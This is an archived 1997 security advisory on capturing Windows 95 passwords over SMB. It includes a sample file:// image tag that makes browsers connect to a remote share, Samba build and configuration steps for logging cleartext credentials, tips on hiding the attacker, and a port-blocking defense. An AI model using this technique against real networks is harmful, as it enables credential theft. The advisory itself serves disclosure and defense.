home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / smb_win95.txt < prev    next >
Text File  |  1998-03-25  |  4KB  |  81 lines

  1. SMB Attacks on Windows 95 
  2.  
  3. VERSIONS AFFECTED
  4.  
  5. Windows 95, with and without Internet Explorer.
  6.  
  7. DESCRIPTION
  8.  
  9. Apparently a new problem has been discovered that allows a malicious Web developer to snag a Windows 95
  10. password in cleartext, given only the IP address and Workgroup name. The action could be done in such a
  11. way that it leaves no noticeable trace what-so-ever, which makes it incredibly dangerous indeed.
  12.  
  13. A Master Browser can be indirectly used as a tool against the machines it serves by introducing a hostile
  14. host in to the browse list. This exploit requires the use of a SAMBA server, which is a Unix based rendition of
  15. an SMB compatible server.
  16.  
  17. Samba servers are capable of announcing themselves to a remote network (workgroup) on a different subnet,
  18. given the workgroup name. An intruder may use this technique in two ways to gain access to a username
  19. and password. They could introduce a share from the system they place in the browse list, and wait for a
  20. user to make an attempt at accessing it - at which point the username and password are transmitted. They
  21. could also embed the file:// tag into a Web page and wait for a user to arrive at that page - at which point the
  22. Web browser would initiate a connection to the remote server named in the file:// tag, and promptly transmit
  23. the username and password. Sample HTML tag:
  24.  
  25. <img src=file://\\testsystem/testshare/testfile.gif> 
  26.  
  27. TESTING
  28.  
  29. * Compile Samba using -DDEBUG_PASSWORD
  30.  
  31. * Employ the remote announce option in the smb.cfg file, specifying the remote host or broadcast address,
  32. and workgroup name of the network you wish to test. Sample:
  33.  
  34.  workgroup = TEST
  35.  preferred master = yes
  36.  domain master = yes
  37.  security = user
  38.  debug level = 100
  39.  remote announce = 10.0.0.255/WORKGROUP_NAME
  40.  
  41. * Establish a share on the Samba server. Sample:
  42.  
  43. [testt]
  44.    path = /tmp
  45.    public = no
  46.    browsable = yes
  47.       
  48.  
  49. * If you wish, place one or more files in the directory, then start the smbd daemon. At this point, any SMB
  50. related traffic (e.g. browsing the local machine) will cause the Samba server to announce itself to the remote
  51. network specified. If the remote network is succesfully contacted, the Samba server may be added to that
  52. network's browse list.
  53.  
  54. Later, checking the Samba log will reveal any information it has collected about usernames and passwords.
  55. Entries will look similar to this: 
  56.  
  57. checking user=[username] pass=[password] 
  58.  
  59. DEFENSE
  60.  
  61. Even though you need to have the remote network's workgroup name previous to this type of attack, keep in
  62. mind that this name could be easily obtained using the Windows nbtstat command. 
  63.  
  64. Also take note that it is VERY easy for a perpetrator to completely hide themselves during this attack by
  65. making a few minor adjustments to their hostname and /etc/hosts file. In otherwords, this could be done in an
  66. untraceable fashion in certain instances.
  67.  
  68. To stop this type of attack from outside your network (Internet), block access to inbound traffic destined for
  69. ports 137, 138, and 139 on your network. This does not solve problems with this type of attack coming from
  70. inside your network.
  71.  
  72. Microsoft was informed of this problem on March 17, 1997. Watch this page for more information.
  73.  
  74. Credits
  75.  
  76. Discovered by Steve Birnbaum with help from Mark Gazit.
  77. Additional support from Yacov Drori and Roman Lasker.
  78. Thanks to hobbit for his paper on CIFS, 
  79. Thanks also to BioH for helping to test this, and anyone else who helped or provided ideas. 
  80.  
  81. Posted here at The NT Shop March 17, 1997 - 10:40pm